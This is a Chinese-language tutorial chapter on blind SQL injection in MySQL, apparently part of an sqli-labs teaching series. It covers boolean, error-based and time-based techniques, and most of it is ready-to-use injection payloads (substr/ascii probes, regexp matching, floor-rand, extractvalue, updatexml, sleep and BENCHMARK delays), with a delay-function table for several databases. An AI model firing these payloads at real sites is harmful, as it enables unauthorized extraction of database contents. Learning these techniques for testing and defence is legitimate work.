標籤:
Background-2 盲注的講解
何為盲注?盲注就是在sql注入過程中,sql語句執行的選擇後,選擇的資料不能回顯到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。從background-1中,我們可以知道盲注分為三類
?基於布爾SQL盲注
?基於時間的SQL盲注
?基於報錯的SQL盲注
Ps:知識點太多了,這裡只能簡單列出來大致講解一下。(ps:每當看到前輩的奇淫技巧的payload時,能想象到我內心的喜悅嗎?我真的想細細的寫寫這一塊,但是不知道該怎麼寫或者小夥伴需要怎麼樣來講這個,可以m我。)
1:基於布爾SQL盲注----------構造邏輯判斷
我們可以利用邏輯判斷進行
截取字串相關函數解析http://www.cnblogs.com/lcamry/p/5504374.html(這個還是要看下)
?
▲left(database(),1)>‘s‘?????????????//left()函數
Explain:database()顯示資料庫名稱,left(a,b)從左側截取a的前b位
▲ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+ ???????//substr()函數,ascii()函數
Explain:substr(a,b,c)從b位置開始,截取字串a的c長度。Ascii()將某個字元轉換為ascii值
▲ascii(substr((select database()),1,1))=98
▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 ??????????????//ORD()函數,MID()函數
Explain:mid(a,b,c)從位置b開始,截取a字串的c位
Ord()函數同ascii(),將字元轉為ascii值
▲regexp正則注入
正則注入介紹:http://www.cnblogs.com/lcamry/articles/5717442.html
用法介紹:select user() regexp ‘^[a-z]‘;
Explain:Regex的用法,user()結果為root,regexp為匹配root的Regex。
第二位可以用select user() regexp ‘^ro‘來進行。
當正確的時候顯示結果為1,不正確的時候顯示結果為0.
樣本介紹:
I select * from users where id=1 and 1=(if((user() regexp ‘^r‘),1,0));
IIselect * from users where id=1 and 1=(user() regexp‘^ri‘);
通過if語句的條件判斷,返回一些條件句,比如if等構造一個判斷。根據返回結果是否等於0或者1進行判斷。
IIIselect * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security‘ and table_name regexp ‘^us[a-z]‘ limit 0,1);
這裡利用select構造了一個判斷語句。我們只需要更換regexp運算式即可
‘^u[a-z]‘ -> ‘^us[a-z]‘ -> ‘^use[a-z]‘ -> ‘^user[a-z]‘ -> FALSE
如何知道匹配結束了?這裡大部分根據一般的命名方式(經驗)就可以判斷。但是如何你在無法判斷的情況下,可以用table_name regexp ‘^username$‘來進行判斷。^是從開頭進行匹配,$是從結尾開始判斷。更多的文法可以參考mysql使用手冊進行瞭解。
好,這裡思考一個問題?table_name有好幾個,我們只得到了一個user,如何知道其他的?
這裡可能會有人認為使用limit 0,1改為limit 1,1。
但是這種做法是錯誤的,limit作用在前面的select語句中,而不是regexp。那我們該如何選擇。其實在regexp中我們是取匹配table_name中的內容,只要table_name中有的內容,我們用regexp都能夠匹配到。因此上述語句不僅僅可以選擇user,還可以匹配其他項。
▲like匹配注入
和上述的正則類似,mysql在匹配的時候我們可以用ike進行匹配。
用法:select user() like ‘ro%‘
?
2:基於報錯的SQL盲注------構造payload讓資訊通過錯誤提示回顯出來
▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a; ?
//explain:此處有三個點,一是需要concat計數,二是floor,取得0 or 1,進行資料的重複,三是group by進行分組,但具體原理解釋不是很通,大致原理為分組後資料計數時重複造成的錯誤。也有解釋為mysql 的bug 的問題。但是此處需要將rand(0),rand()需要多試幾次才行。
以上語句可以簡化成如下的形式。
select?count(*)?from?information_schema.tables?group?by?concat(version(),floor(rand(0)*2))
如果關鍵的表被禁用了,可以使用這種形式
?select?count(*)?from?(select?1?union?select?null?union?
select?!1)?group?by?concat(version(),floor(rand(0)*2))?
如果rand被禁用了可以使用使用者變數來報錯
?select?min(@a:=1)?from?information_schema.tables?group?by?concat(password,@a:=(@a+1)%2)
?
▲select exp(~(select * FROM(SELECT USER())a)) ????????//double數實值型別超出範圍
??//Exp()為以e為底的對數函數;版本在5.5.5及其以上
可以參考exp報錯文章:http://www.cnblogs.com/lcamry/articles/5509124.html
▲select !(select * from (select user())x) -(ps:這是減號)?~0??
?//bigint超出範圍;~0是對0逐位取反,很大的版本在5.5.5及其以上
可以參考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html
▲extractvalue(1,concat(0x7e,(select @@version),0x7e)) ?se//mysql對xml資料進行查詢和修改的xpath函數,xpath語法錯誤
▲updatexml(1,concat(0x7e,(select @@version),0x7e),1) ??//mysql對xml資料進行查詢和修改的xpath函數,xpath語法錯誤
▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
//mysql重複特性,此處重複了version,所以報錯。
3:基於時間的SQL盲注----------延時注入
▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 ?//if判斷語句,條件為假,執行sleep
Ps:遇到以下這種利用sleep()延時注入語句
select?sleep(find_in_set(mid(@@version,?1,?1),?‘0,1,2,3,4,5,6,7,8,9,.‘));
該語句意思是在0-9之間找版本號碼的第一位。但是在我們實際滲透過程中,這種用法是不可取的,因為時間會有網速等其他因素的影響,所以會影響結果的判斷。
?
▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG‘,‘by 5 seconds‘)),null) FROM (select database() as current) as tb1;
???//BENCHMARK(count,expr)用於測試函數的效能,參數一為次數,二為要執行的運算式。可以讓函數執行若干次,返回結果比平時要長,通過時間長短的變化,判斷語句是否執行成功。這是一種邊通道攻擊,在運行過程中佔用大量的cpu資源。推薦使用sleep()
函數進行注入。
此處配置一張《白帽子講安全》圖片
Mysql |
BENCHMARK(100000,MD5(1)) ?or sleep(5) |
Postgresql |
PG_SLEEP(5) ??OR GENERATE_SERIES(1,10000) |
Ms sql server |
WAITFOR DELAY ‘0:0:5‘ |
MYSQL注入天書之盲注講解